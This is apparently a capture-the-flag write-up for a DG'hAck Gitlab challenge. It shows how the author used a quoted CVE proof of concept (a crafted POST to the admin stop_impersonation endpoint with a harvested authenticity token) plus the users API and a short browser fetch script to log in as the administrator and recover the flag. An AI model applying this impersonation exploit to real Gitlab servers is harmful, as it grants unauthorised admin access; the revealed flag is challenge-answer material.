This challenge takes place on a Gitlab instance, where we have to find private data. You start by creating an account, which is automatically validated after a few seconds. Once logged in, you can do a few things, for example:

  • create a project
  • create a group
  • edit your profile
  • see the help page
  • see public repositories

Nothing seems to be particularly interesting, except for this message, on the help page:

The help page showing an “update asap” message

Searching for this version yields a very interesting CVE:

1. Description
Any registered user can "log in" as any other user, including administrators.
2. Proof of Concept
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:
POST /admin/users/stop_impersonation?id=root
. . .


Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.

3. Solution:

Use officialy provided solutions:

This exploit allows us to login as someone else, as long as we have their username. But we don’t know the username of the administrator!

Let’s look at the API documentation on the help page:

The users list API endpoints

Exactly what we need! To use it, we’ll need our private_token, which can be found in our account settings. Navigating to:

Gives us:

    "name": "test",
    "username": "test",
    "id": 5,
    "state": "active",
    "avatar_url": "",
    "web_url": "http://b35923e21b4a/u/test"
    "name": "stephan",
    "username": "stephan",
    "id": 4,
    "state": "active",
    "avatar_url": "",
    "web_url": "http://b35923e21b4a/u/stephan"
    "name": "Kris",
    "username": "Kris",
    "id": 3,
    "state": "active",
    "avatar_url": "",
    "web_url": "http://b35923e21b4a/u/Kris"
    "name": "bobby",
    "username": "bobby",
    "id": 2,
    "state": "active",
    "avatar_url": "",
    "web_url": "http://b35923e21b4a/u/bobby"
    "name": "Administrator",
    "username": "8e4684f1498aad818870376301b15426",
    "id": 1,
    "state": "active",
    "avatar_url": "",
    "web_url": "http://b35923e21b4a/u/8e4684f1498aad818870376301b15426"

Here we go, the username of the administrator is 8e4684f1498aad818870376301b15426. We just have to use the exploit we found. I made the request using fetch:

const form = new FormData();

form.append("_method", "delete");
form.append("authenticity_token", document.querySelector('meta[name=csrf-token]').content);

await fetch("", {
    "body": form,
    "method": "POST",

The request was a bit tricky to get right, for example I initially thought that I had to post URL encoded params.

Entering this little script in our console gives us access to the admin area:

The admin area

A repo instantly stands out from the rest: stephan/my-secret-project. Reading the code reveals it’s a collection of python scripts. The commit history has a particularly suspicious one, called added my private key:

A suspicious commit

The flag is W3lL-d0N3-y0u-w1n-a_c4ke!.

View all of the DG’hAck articles.